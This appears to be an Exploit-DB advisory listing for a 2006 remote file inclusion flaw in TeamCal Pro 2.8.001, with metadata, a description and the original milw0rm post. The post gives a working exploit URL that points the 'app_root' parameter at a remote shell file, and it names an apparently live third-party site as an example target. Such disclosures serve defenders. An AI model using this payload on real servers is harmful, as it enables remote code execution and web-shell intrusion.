TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities

vendor:

TeamCal Pro

by:

PSYCH@ psych0path@hackermail.com

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: TeamCal Pro

Affected Version From: 2.8.001

Affected Version To: 2.8.001

Patch Exists: YES

Related CWE: N/A

CPE: a:teamcal_pro:teamcal_pro:2.8.001

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities

A remote file inclusion vulnerability exists in TeamCal Pro 2.8.001, due to insufficient sanitization of user-supplied input to the 'app_root' parameter of the 'footer.html.inc.php' script. An attacker can exploit this vulnerability to include arbitrary remote files, leading to arbitrary remote code execution.

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Source

Exploit-DB raw data:

#########################################################################
#Author:PSYCH@  psych0path@hackermail.com
#
#                                                            
#########################################################################
#TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities
#Demo: www.lewe.com/tcpro/
#
#########################################################################
#Code:
#
#include( $tc_config['app_root']."includes/footer.html.inc.php" );
#
#########################################################################
#Exploit
#
#http://site.com/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#Example:www.teamcounter.com/tcpro/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#########################################################################
#Thnx:Warhack & mAfiAcarLEs & DarkXBoyZ
#
#
#########################################################################

# milw0rm.com [2006-09-14]